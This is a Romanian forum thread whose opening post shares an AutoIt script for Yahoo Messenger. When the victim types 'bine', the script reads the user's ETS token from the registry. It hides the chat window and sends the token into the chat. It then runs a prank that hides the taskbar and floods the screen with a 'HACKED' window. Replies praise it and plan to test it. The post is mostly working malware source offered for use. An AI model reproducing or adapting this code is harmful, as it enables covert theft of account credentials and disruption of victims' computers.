Jump to content
Jimmy

Yahoo fun

Recommended Posts

Posted (edited)

Cand victima tasteaza cuvantul /bine/ veti primi ets-ul ei si se apeleaza functia funny...

facut de plictiseala , il puteti modifica de exemplu cand scrie un anumit cuvant sa faca nush ce...plm, end of story :)

Ps/ functia funny e de pe net.

Autoit

While 1    If WinExists("[CLASS:CTabbedIMHost]") Then
$Text = ControlGetText("[CLASS:CTabbedIMHost]", "", "YIMInputWindow1")
$Word = "bine"
$String = StringCompare($Text, $Word)
If $String = 0 Then
ControlSend("[CLASS:CTabbedIMHost]", "", "[CLASS:YIMInputWindow; INSTANCE:1]", " coi {ENTER}")
$ETS = RegRead("HKEY_CURRENT_USER\Software\Yahoo\pager", "ETS")
WinSetTrans("[CLASS:CTabbedIMHost]", "", 0)
ControlSend("[CLASS:CTabbedIMHost]", "", "[CLASS:YIMInputWindow; INSTANCE:1]", $ETS & "{ENTER}")
WinSetTrans("[CLASS:CTabbedIMHost]", "", 255)
ControlSend("[CLASS:CTabbedIMHost]", "", "[CLASS:YIMInputWindow; INSTANCE:1]", "<DING>{ENTER}")
_Funny ()
EndIf
EndIf
Sleep(100)
WEnd


Func _Funny ()


While True
WinMinimizeAll()
WinSetState("[CLASS:DV2ControlHost]", "", @SW_DISABLE)
WinSetTrans("[CLASS:DV2ControlHost]", "", 0)
WinSetState("[CLASS:Shell_TrayWnd]", "", @SW_HIDE)
WinSetState("Program Manager", "", @SW_HIDE)
HotKeySet("{ESC}", "_escape")
Global $x
Global $y
Global $c
Global $o


$gui = GUICreate("HACKED", @DesktopWidth + 3, @DesktopHeight + 3, -1, -1)
GUISetState(@SW_SHOW)
WinSetTrans("HACKED", "", 99)
While 1
$x = Random(150, @DesktopWidth, 1)
$y = Random(150, @DesktopHeight, 1)
$c = Random(000000, 999999, 1)
$o = Random(75, 99, 1)
MouseMove($x, $y, 5)
ToolTip("HACKED")
GUISetBkColor($c, $gui)
Sleep(5)
WEnd
WEnd


EndFunc


Func _escape()
GUISetState(@SW_HIDE, "Cover")
WinSetState("Program Manager", "", @SW_SHOW)
WinSetState("Program Manager", "", @SW_SHOW)
WinSetState("[CLASS:Shell_TrayWnd]", "", @SW_SHOW)
WinSetState("[CLASS:DV2ControlHost]", "", @SW_ENABLE)
WinSetTrans("[CLASS:DV2ControlHost]", "", 255)
Exit
EndFunc

Edited by Jimmy
  • Downvote 1
Posted

@StoNe- , daca cu un post si deja comentezi , ma intrebi cum o sa faci cand ai reputatie :)) .

O sa imi amintesc de tine , daca tu nu ajuti , nu astepta ca cineva sa te ajute.

Punem pariu ca o sa il ajute cineva? "Mura-n gura".

ON : Frumos omule. O sa il testez.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...